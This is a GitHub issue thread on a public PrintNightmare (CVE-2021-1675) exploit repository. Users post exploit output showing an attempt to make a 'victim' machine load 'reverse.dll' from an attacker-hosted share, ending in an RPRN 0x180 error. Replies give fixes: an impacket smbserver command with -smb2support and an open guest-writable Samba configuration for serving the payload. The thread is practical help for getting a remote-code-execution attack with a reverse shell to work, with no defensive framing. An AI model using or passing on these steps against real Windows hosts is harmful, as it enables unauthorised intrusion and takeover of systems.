cube0x0/CVE-2021-1675

impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: unknown error code: 0x180

kumar44424 opened this issue · 5 comments

Connecting to ncacn_np:*****[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\UNIDRV.DLL
[] Executing ??\UNC***\share\reverse.dll
[
] Try 1...
Traceback (most recent call last):
File "/home/kali/share/CVE-2021-1675-main/./CVE-2021-1675.py", line 188, in
main(dce, pDriverPath, options.share)
File "/home/kali/share/CVE-2021-1675-main/./CVE-2021-1675.py", line 93, in main
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.9.egg/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx
return dce.request(request)
File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210704.162046.29ad5792-py3.9.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request
raise exception
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: unknown error code: 0x180

┌──(kali㉿kali)-[~/share/CVE-2021-1675-main]
└─$ impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: unknown error code: 0x180 1 ⨯

I got the same error - eventually figured it out. When you host the dll you need to use smb2support

eg.
sudo python3 smbserver.py share /home/kali/Downloads -smb2support

Great, let me try this out!

my configuration /etc/samba/smb.conf

[global]
workgroup = workgroup
server string = test
netbios name = MZ
security = user
map to guest = Bad User
smb ports = 445
log file = /var/log/samba/log.%m
max log size = 5
min protocol = SMB2

[smb]
comment = Samba
browseable = yes
writeable = yes
public = yes
path = /tmp/
read only = no
guest ok = yes

root@kali:~$ sudo /etc/init.d/smbd restart

I got the same error - eventually figured it out. When you host the dll you need to use smb2support

eg.
sudo python3 smbserver.py share /home/kali/Downloads -smb2support

Hey ! hello! I try that, and still getting the same error and in the log/output i not see any connection comming from the victim machine trying to connect to the smb share, any other idea what could be happening? thanks in advance

hi, AndyFeiLi after using -smb2support also im getting same error